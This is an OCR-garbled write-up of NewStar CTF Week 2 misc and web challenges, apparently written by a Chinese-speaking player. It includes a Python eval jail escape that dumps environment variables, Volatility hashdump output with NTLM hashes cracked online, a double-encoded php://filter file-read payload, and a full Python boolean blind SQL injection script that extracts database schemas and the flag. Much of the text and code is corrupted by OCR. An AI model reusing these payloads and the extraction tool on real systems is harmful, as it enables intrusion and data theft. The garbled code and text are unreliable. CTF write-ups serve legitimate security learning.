NewStar WRITEUP

Week?2 [EJEZXR

REER

iR EAX
FIE: FEERK!

FAM: Misc

® [misc] BHESW-EWEK

S oM, KIIRRER/INA 6, A grep s 8847

grep "200 6" blindsql.log

171.16.20.55 - - [31/Aug/2025:18:46:35 +0800] "GET /sqli_bool.php/?id=1%20and%20ascii(substr((select%20flag%20from%20sql
i.flag),33,1))='95"' HTTP/1.1"
171.16.20.55 - - [31/Aug/2025:18:46:37 +0800] "GET /sqli_bool.php/?id=1%20and%20ascii(substr((select%20f1lag%20from%20sql
i.flag),34,1))='101"' HTTP/1.1"
171.16.20.55 - - [31/Aug/2025:18:46:38 +0800] "GET /sqli_bool.php/?id=1%20and%20ascii(substr((select%20flag%20from%20sql
i.flag),35,1))='97" HTTP/1.1"

171.16.20.55 - - [31/Aug/2025:18:46:40 +0800] "GET /sqli_bool.php/?id=1%20and%20ascii(substr((select%20flag%20from%20sql
i.flag),36,1))='115' HTTP/1.1"
171.16.20.55 - - [31/Aug/2025:18:46:43 +0800] "GET /sqli_bool.php/?id=1%20and%20ascii(substr((select%20flag%20from%20sql
i.flag),37,1))='121"' HTTP/1.1"
171.16.20.55 - - [31/Aug/2025:18:46:43 +0800] "GET /sqli_bool.php/?id=1%20and%20ascii(substr((select%20flag%20from%20sql
i.flag),38,1))='125"' HTTP/1.1"

"AnEaRtE flag A%, A python £J& flag

import re

line = [1 for 1 in open('blindsql.log') if "200 6" in 1
and "sqli.log"]

print(''.join(map(lambda x: chr(int(x)),
re.findall(r"'(\d+)'", ''.join(line)))))




g re
: line = [l 1 ('blindsql.log') 200 6" 1 "sqli.flag" 1]

(@ o ¢ X: ¢ (x)), re.findall(zx"'(\d+)'", ''.join(line)))))

flag{SQL injection_logs_are_very_easy}

flag{SQL_injection_logs_are_very_easy}

[misc] XIREE-PAXIHBILIE
1. SEM 3B BB

Q0 -

BIEEE TeHE WIATATAED
icid

5 TFiE89FA5ABhiIg1E

BE P TEARDRELRNKATARBICHE, AEREFREFIE
EEFHBEREERI LGRS,

B
« ENHEREZ TTMEAE,
o« ZEFEHERRFER,

@ ZRBhiciA @ EHIEIFNAR



BB R, WAEER 12 ANBhigiE
2.6wel 5 ETH i

LB —MNME&ITE M3k

https://tool.offso.com/ethconvert

AKX ETH {3

wei 1145141919810000000000

Kwei 1145741919810000000

Mwei |1145141919810000

Gwei 1145141919810

Szabo |1145141919.81

Finney |1145141.91981

Ether [(RE.14191981

Kether |1.14514191981

Mether | 0.00114514191981

Gether |0.000007114514191981

Tether 0.00000000714514191981

ETH: 1145


https://tool.offso.com/ethconvert

3. BWIKSHRR 7 i ]

7‘%&&1;‘{ ......

® [misc] HiBAN-S7 NK%E

R ATRENWIORE,

ME &R IE

—MNREEMRFZ —MNREEF

AR, BT2ILARHE, FapRERHMmafn3dE 5 A python &R

29 6.536369 192.168.0.108 192.168.0.25 S7COMM 91 ROSCTR:[Job ] Function:[Write Var]
30 6.536697 192.168.8.25 192.168.0.100 S7COMM 76 ROSCTR: [Ack_Data] Function:[Write Var]
31 7.039168 192.168.0.100 [192.168.0.25 S7COMM 9:. reosc R:[Job 1 Functiun:[wrlte Var]
32 7.039346 192.168.0.25 192.168.9.100 S7COMM SCTR: [Ack_Data] Function:[Wr. Var] —
62 2 aB 6@ 64 00 @2 1b 1b af Se elasm::sel d B
80 4d ac 86 46 00 40 85 Oc 5d c@ a8 B9 64 <@ a8 M- @@ -]
fication: 10 06 15 57 63 06 66 40 83 le 2d <5 9a bg 58 18 @
fsansssaaaaeesae eezsazfaaeszalea s
Id: STANY (8x1@) o of 00 60 8e BB O
rt size: BYTE (2) 9154 eaaaae m aass [ - FERCEEEH
Le 2
DB number: 1
Area: Data blocks (DB) (9x84)
v Address: @xeeeese
.. .009 0P @@ee 9101 O. Byte Addre: 18 E)\iﬂi}t
.. 608 = Bit Addre a

v Data
v Jt [1] ( ed)
ode: ved (0x08)
Transpur‘t size: ‘TE/WORD/DWORD (@x84)

Dt e|59 'ﬁ)\*ﬁ}% (HEX)

text = '''0 49
14 70

4 4F

20 74
22 61
26 74
24 6e
28 21
16 6f

2 49

6 54

18 72
12 6d

8 b5f

10 69''"!

1 = list(map((lambda x: (lambda y, z:
'))), text.split('\n')))

16))) (*x.split("

(int(y), int(z,

print(''.join([chr(i[1]) for i in list(sorted(l,

key=lambda x:x[01))1))




In [7]: ''.join(L (i[1D)

'IIOT _important!

flag{IIOT_important!}

® [misc] jail-evil eval
Bk, WRARAE AR eval #2 help!

— 2 A help+! Kok, £R4LMKT, Ef Unicode £t 23|
0s IR T AY environ

print(''._ class_ ._ mro__ [1]._ subclasses_

(O[-8]._ init_ ._ globals_ )

walk at Ox7f18564abu90>, 'execl': <function execl at O0x7f18564ab520>, 'execle': <function execle at Ox7f18564ab5b0>, 'ex
eclp': <function execlp at Ox7f18564ab6u®>, 'execlpe': <function execlpe at 0x7f18564ab6d0>, 'execvp': <function execvp
at 0x7f18564ab760>, 'execvpe': <function execvpe at Ox7f18564ab7f0>, '_execvpe': <function _execvpe at 0x7f18564ab880>,
'get_exec_path': <function get_exec_path at Ox7f18564ab910>, 'MutableMapping': <class 'collections.abc.MutableMapping'>,
'Mapping': <class 'collections.abc.Mapping'>, '_Environ': <class 'os._Environ'>, ‘'getenv': <function getenv at Ox7f1856
4ab9a®>, 'supports_bytes_environ': True, 'environb': environ({b'PYTHON_SHA256': b'ae665bc678abd9ab6a6el573d2481625a53719
bc517e9a634ed2b9fefae3817f', b'HOSTNAME': b'engine-1', b'PYTHON_VERSION': b'3.10.18', b'PWD': b'/home/newstar', b'ECI_CO
NTAINER_TYPE': b'normal', b'HOME': b'/home/newstar', b'USERNAME': b'', b'LANG': b'C.UTF-8', b'GPG_KEY': b'A035C8C19219BA
821ECEA86B6UE628F8D68U696D' , b'PASSWORD': b'', b'TERM': b'xterm', b'ICQ_FLAG': b' e RCRE ot Lk e R Y L H Ly PRI
EI3', b'SHLVL': b'l', b'PATH': b'/usr/local/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin', b'_': b'/
usr/bin/socat', b'SOCAT_PID': b'12', b'SOCAT_PPID': b'7', b'SOCAT_VERSION': b'1.8.0.3', b'SOCAT_SOCKADDR': b'10.22.5.140
', b'SOCAT_SOCKPORT': b'9999', b'SOCAT_PEERADDR': b'10.0.0.239', b'SOCAT_PEERPORT': b'59882'}), 'getenvb': <function get
envb at 0x7f18564a0310>, 'fsencode': <function _fscodec.<locals>.fsencode at Ox7f18564a0430>, 'fsdecode': <function _fsc
odec.<locals>.fsdecode at 0x7f18564a0ucO>, 'P_WAIT': O, 'P_NOWAIT': 1, 'P_NOWAITO': 1, '_spawnvef': <function _spawnvef
at 0x7f18564a03a0>, 'spawnv': <function spawnv at 0x7f18564a0550>, 'spawnve': <function spawnve at 0x7f18564a05e0>, 'spa
wnvp': <function spawnvp at Ox7f18564a0670>, 'spawnvpe': <function spawnvpe at Ox7f18564a0700>, 'spawnl': <function spaw
nl at Ox7f18564a0790>, 'spawnle': <function spawnle at 0x7f18564a0820>, ‘'spawnlp': <function spawnlp at Ox7f18564a08b0>,
‘spawnlpe': <function spawnlpe at Ox7f18564a@940>, 'popen': <function popen at 0x7f18564a09d0>, '_wrap_close': <class '
os._wrap_close'>, 'fdopen': <function fdopen at ©x7f18564a0a60>, '_fspath': <function _fspath at Ox7f18564a0e50>, 'PathL
ike': <class 'os.PathLike'>}
>>>

E FABEEAESE, FE—FBHNERTFTET M4,
__subclasses__(OMF|XEFEZTRK T os._wrap_close, 5ZFr
23| flag 89 payload R &“[-8]

/,

flag{91594c0e-1dc5-4953-a@lb-ecc951bf218b}

® [misc] NFEIE-Windows &




JB24F vol2 fkE N dEH, imageinfo /53| Win7SP1x64

1. BEHERNTAE ip:port

vol2 -f hellohacker.raw --profile=Win7SP1x64 psscan

0x7ela5210 TCPvY4 0.0.0.0:49153 0 0.0.0:0 LISTENING 776 svchost.exe
0x7ela5210 TCPv6 111 491 : 0 LISTENING 776 svchost.exe

0x7e0707f0 TCPv6 : 3856 Te0@3:80fa:ffff:a856:7e03:80Fa: ffff:0 CLOSED 1032 svchost.exe
0x7e1698d0 TCPvH =30 8.235.100.3:0 CLOSED =U??2?

Ox7ef8bbfo TCPvY .0.0: 0.0.0.0:0 LISTENING System

0x7ef8bbfo TCPv6 328 ) LISTENING System

0x7fe07560 UDPvY 0.0.0.0:3702 *iw 1304 svchost.exe 2025-09-30 11:28:21 UTC+0000
0x7fd69ace® TCPvY 192.168.20.131:49158 125.216.248.74:11451 ESTABLISHED 2864 svchost.exe

RAX—/N2 ESTABLISHED 894k, fntk 11451 3%0°, NiZg=E

7 125.216.248.74:11451

2. TCEARSFFTE X%

vol2 -f hellohacker.raw --profile=Win7SP1xé64 hashdump

Administrator:500:aad3bd35b51404eecaad3by35b51404ee:31d6cfe@dl6ae931b73c59d7e0cO89cO :::
Guest:501:aad3bid35b51U0Ueecaad3bUd35b5140Uee:31d6cfel@dlbae931b73c59d7e0c089cO :::

JustAGuestAwA:1000:aad3bd35b51U40Udeeaad3by35b51U0Uee : 3008c87290511142799dcall9leb69a0f :::

AN R E XM, TEiA
https://www.cmd5.com/default.aspx &R

3008c87294511142799dca1191e68a0f
ntlm

EWER
admin123

29 adminl23



https://www.cmd5.com/default.aspx

4. ENABIR

S A hivelist #k2EM & SYSTEM t9REE, RE

vol2 -fhellohacker.raw --profile=Win7SP1x64 printkey -o
OxfFffff8ab00024010 -K
ControlSet002\Control\ComputerName\ComputerName

Registry: \REGISTRY\MACHINE\SYSTEM
Key name: ComputerName (S)
Last updated: 2025-09-30 09:17:16 UTC+0000

Subkeys:

Values:
REG_SZ : (S) mnmsrvc
REG_SZ ComputerName : (S) ARISAMIK

53| ARISAMIK

Web

® [web] ez-chain

BBAMRINIE, F—wILIFTH—1 urldecode, ATAT AR
url g gese, £ RARBESRNIE F/F, TTMER php://A
MIGEERFFER, BIRAAI, A ROTL3 = IX4R:E

JR44 payload:
php://filter/read=string.rot13/resource=/flag

DAL

text = 'php://filter/read=string.rot13/resource=/flag’
"' join([f'%{ord(c):2x}' for c in text]) .replace('%',




| F%{"%":2x}")

&% payload:

%2570%2568%2570%2538%2521%2521%2566%2569%256C%257
4%2565%2572%2521%2572%2565%2561%2564%253d%2573%25
74%2572%2569%256€%2567%252e%2572%256F%2574%2531%2
533%2521%2572%2565%2573%2561%2575%2572%2563%2565%
253d%2521%2566%256C%2561%2567

<& (O | O https://eci-2ze43r74y5cqhdi3194h.cloudecil.ichungiu.com:80/7f

synt{85p01200-1041-458r-980s-089n3065s5505} <2php
header (" Content-Type: text/html; charset=utf-8);
function filter(§file)
$waf = array( ./, :", php’, baseb4 , data’,’ zip’, rar , filter’,’f
foreach ($waf as S$waf word) |
if (stripos($file, Swaf word) !== false)
echo “waf:”. $waf_word;
return false;

BT kA Cyberchef g5

Recipe ~om i Input
synt{85p@1200-1041-458r-980s-089n36655505}
ROT13 -
Rotate lower case chars Rotate upper case chars
Amount
D Rotate numbers 13

Output

flag{85c@12bb-1841-458e-98bf-889a3065F5b5}



flag{85c012bb-1041-458e-98bf-089a3065f5h5}

® [web] BRI KHIRE (2)

BIFRTR, BRI SQL A EEMIR R, 23Nk, FEZEAFE
IR, TMERFES S

W or 1=1 #->""or(1=1)#"
AT HEZEN, BT —/BEEHK

mMBE—FiEsE M7, & Terra.animals E@WFTHE FEHIE
HXRT, HEATIEBHE, X5 TNk RETEEXE

R EEHEIZIE N L E B EEIRT Terra, E2EXRAEE|
B HAh database, &XI& K Flag t9%kiEE, TwmA%X flag, A
—%| flag

mysqgl,information_schema, performance_schema,sys,Terra,Fla?
mysqgl,information_schema, performance_schema,sys,Terra,Fla?
mysql,information_schema, performance_schema,sys,Terra,Fla?
mysql,information_schema, performance_schema,sys,Terra,Fla?
mysql,information_schema, performance_schema,sys,Terra,Fla?
mysql,information_schema, performance_schema,sys,Terra,Fla?

mysql,information_schema, performance_schema,sys,Terra,Fla?
mysqgl,information_schema, performance_schema,sys,Terra,Fla?
mysqgl,information_schema, performance_schema,sys,Terra,Fla?
mysql,information_schema, performance_schema,sys,Terra,Fla?
mysql,information_schema, performance_schema,sys,Terra,Flag




flag{8634158e-fc8c-4394-a51c-90858c213746b?
flag{8634158e-fc8c-4394-a51c-9058c213746b?
flag{8634158e-fc8c-4394-a51c-9058c213746b?
flag{8634158e-fc8c-4394-a51c-90858c213746b?
flag{8634158e-fc8c-4394-a51c-9058c213746b?
flag{8634158e-fc8c-4394-a51c-9058c213746b?

flag{8634158e-fc8c-4394-a51c-90858c213746b?
flag{8634158e-fc8c-4394-a51c-9058c213746b?
flag{8634158e-fc8c-4394-a51c-9058c213746b?
flag{8634158e-fc8c-4394-a51c-90858c213746b?
flag{8634158e-fc8c-4394-a51c-9058c213746b}

£3| flag, TELENRE (REHRAERNE )

from typing import Callable
import requests as rq
import urllib.parse

def quick_find(1=1, u=None):

SCALE = 3
while not u or u!=1+1:
if not u:
feed = yield (False, f'>{UxSCALE}')
if feed:
1 = 1xSCALE
else:
U = 1xSCALE
else:
feed = yield (False, f'>{(l+u)//2}")
if feed:
1= () // 2
else:
u=(+) // 2

yield (True, u)

def blinduse(sql:str, query:str,

do_query:Callable[[str], bool]):
length_inject = 'length({}){}'
g = quick_find()




ok, cond = next(qg)
while not ok:
print(cond)
ok, cond =
g.send(do_query(sql.format(length_inject.format(query,
cond))))
1 = cond
result = []
ascii_inject = 'ascii(substr({},{},1)){}'
for i in range(1, 1+1):
g = quick_find()
ok, cond = next(g)
while not ok:
print(''.join(result)+'?'*(1-i+1), '|', cond)
ok, cond =
g.send(do_query(sql.format(ascii_inject.format(query, i,
cond))))
result.append(chr(cond))
return ''.join(result)

def do_query(sql):
headers = {

‘accept': 'x/*',

'accept-language': 'zh-CN,zh;g=0.9,en;0=0.8, en-
GB;g=0.7,en-US;q=0.6",

'cache-control': 'no-cache',

'Content-Type': 'application/x-www-form-
urlencoded',

'origin': 'https://eci-
2zei3qgbabrn57wz71ete.cloudecil.ichungiuv.com: 80",

'pragma': 'no-cache'’,

'priority': 'u=1, 1i',

'referer': 'https://eci-
2zei3qgbabrn57wz71ete.cloudecil. ichungiu.com:80/panel’,

'sec-ch-uva': '"Microsoft Edge";v="141",
"Not?A_Brand";v="8", "Chromium";v="141"",

'sec-ch-ua-mobile': '?0',

'sec-ch-va-platform': '"Windows"',

'sec-fetch-dest': 'empty',

'sec-fetch-mode': 'cors',

'sec-fetch-site': 'same-origin',

'User-Agent': 'Mozilla/5.0 (Windows NT 10.0;
Winé4; x64) AppleWebKit/537.36 (KHTML, like Gecko)




Chrome/141.0.0.0 Safari/537.36 Edg/141.0.0.0',
}

while True:
try:
res = rg.post('https://eci-
2zei3qgbabrn57wz71ete.cloudecil. ichungiu.com:80/search’,
data="'name="+urllib.parse.quote(sql), headers=headers)
except:
import time
print("Take a rest")
time.sleep(10)
else:
break
res.raise_for_status()
# print(res.text)
return 'ok' in res.text
# UTAEIRAR, 1E75E




#
print(blinduse("'or(select({})from(information_schema.sc
hemata))#", "group_concat(schema_name)", do_query))

#

mysql, information_schema, performance_schema, sys, Terra, F1
ag

#

print(blinduse(" 'or(select({})from(information_schema.co
lumns)where (table_name="'flag'))#",

"group_concat (column_name)", do_query))

# flag

print(blinduse("'or(select({})from(Flag.flag))#",
"group_concat(flag)", do_query))

# flag{8634158e-fc8c-4394-ab51c-9058c213746b}

flag{8634158e-fc8c-4394-a51c-9058c213746b}

J¥: FTA Terra.animals MFIEHRMEAEREE T — MK E—
I~

Fﬁi: Terra.animals

name species age
amiya rabbit 16
chen dragon 28
texas wolf 26
exusiai sankta 23

silverash feline 35




skadi
siege
ifrit
eyjafjalla
angelina
ptilopsis
shining
nightingale
hoshiguma
saria
blaze
bagpipe
weedy
surtr
mudrock
phantom
rosa
w
rosmontis
mountain
ash

kaltsit

abyssal
lion
sarkaz
caprinae
vulpo
liberi
sarkaz
sarkaz
oni
vouivre
feline
glasgow
aegir
sarkaz
sarkaz
feline
ursus
sarkaz
feline
forte
feline

feline

25
29
14
18
17
24
27
26
32
31
30
22
28
24
26
25
20
27
14
29
30

20000



skadi_alter

chen_alter

nhearl_alter

passenger
carnelian
pallas
saileach
fartooth
flametail
gnosis
ashlock
la_pluma
tequila
lee
mizuki
mulberry
robin

kafka

specter_alter

ling
blacknight

corroserum

abyssal
dragon
kuranta
feline
draco
forte
vouivre
kuranta
kuranta
elafia
forte
liberi
liberi
lung
aegir
vulpo
anura
spider
abyssal
lung
sarkaz

liberi

25
28
24
35
22
26
23
21
19
27
28
18
25
24
22
20
16
23
24
500
29

26



goldenglow
fiammetta
horn
luminos
irene
specter
lappland
blue_poison
platinum
meteorite
firewatch
provence
schwarz
greythroat
vigna
reed
bagpipe
elysium
myrtle
zima

courier

caprinae
liberi
forte
sankta
liberi
abyssal
lupo
anura
kuranta
sarkaz
cautus
vulpo
feline
cautus
cautus
draco
glasgow
anura
durin
ursus

perro

19
21
25
22
20
24
27
19
23
25
28
24
26
18
17
21
22
19
15
20

23



